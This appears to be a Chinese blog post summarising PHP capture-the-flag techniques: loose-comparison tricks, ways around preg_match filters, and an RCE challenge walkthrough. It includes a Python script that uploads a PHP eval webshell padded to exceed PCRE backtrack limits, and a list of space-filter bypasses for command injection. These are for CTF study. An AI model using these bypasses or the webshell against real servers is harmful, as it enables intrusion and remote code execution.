CTF-PHP常见考点实例小结


0x00 CTF-PHP常见考点

1.php弱类型的比较
2.php断言问题
3.php读取文件
4.preg_match绕过
5.sha1()函数与md5()
6.异或注入绕过
7.updatexml()函数考点
8.命令执行绕过:https://www.cnblogs.com/iloveacm/p/13687654.html
9.源文件泄露
10.extract变量覆盖
11.strcmp漏洞
……..

参考网上师傅的总结,感觉不错值得学习:https://www.cnblogs.com/iloveacm/p/13256577.html
下面取几个考点类型案例分析帮助理解,实际多在靶场修炼才更深刻。

0x01 案例1:弱类型绕过案例

php存在=,==,===三种比较符号
第一个=相当于直接赋值的道理
第二个= = 会直接将对象转换为相同类在进行比较
第三个= = = 会判断两种类型对象是否相等,再作比较

<?php
var_dump("admin"==0);  //true   0=0 为真
var_dump("1admin"==1); //true   1=1 为正
var_dump("admin1"==1); //false  0 不等于 1 返回假
var_dump("admin1"===1);  //类型不等 为假
var_dump("admin"===1);   //类型不等 为假
var_dump("0e123456"=="0e4456789"); //true   所有0e默认类为取值0  0=0 为真
var_dump("0e123456"==="0e4456789"); //类型相等数值不等 为假
?>  

弱类型理解

一段简短的代码审计题目理解php弱类型

$num=$_GET['num'];
if(!is_numeric($num))   // is_numeric () 函数用于检测变量是否为数字或数字字符串。
{
      echo $num;
      if($num==1)   //num=1xxx 即可构成   1=1 返回为真取值flag
            echo 'flag{**********}';
}

payload:num=1abc 构成比较为1=1 为真输出flag

0x02 preg_match函数绕过

首先了解preg_match函数作用:用于执行一个正则表达式匹配。赛题中用来过滤函数

<?php
//模式分隔符后的"i"标记这是一个大小写不敏感的搜索
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
    echo "查找到匹配的字符串 php。";
} else {
    echo "未发现匹配的字符串 php。";
}
?>


常见preg_match的绕过的三种方式:
(1)数组绕过,当传递参数为数组,会返回true
payload:传参:?a=[]=flag.php
(2)最大PCRE(正则查找匹配次数)突破,中文的回溯次数在100万次就会崩溃,构造exp突破次数即可返回true
pauload:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://x.x.x.x:xx/index.php', files=files, allow_redirects=False)
print(res.headers)

(3)”.”换行符绕过,”.”不会匹配换行符
payload:

if (preg_match('/^.*(flag).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
}
//$json="\nflag"
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
    echo $flag;
}
//?a=flag%0a

参考了网上师傅总结,值得学习记录一下

0x03 案例2:RCE绕过案例

学习地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping%20Ping%20Ping

题目页面:

发现flag地址:

空格被过滤:

绕过rce执行空格:php-rce绕过参考:https://zhuanlan.zhihu.com/p/391439312

符号被过滤

尝试绕过被过滤字符串flag:

空格绕过:
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}

总结:题目难度偏小 ,$IFS$2绕过空格加上拼接flag字符串,以;字符分割执行rce,获取flag
RCE命令执行绕过总结:https://zhuanlan.zhihu.com/p/391439312

交流学习:
博客:http://www.kxsy.work
CSND社区:告白热


文章作者: 告白
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 告白 !
  目录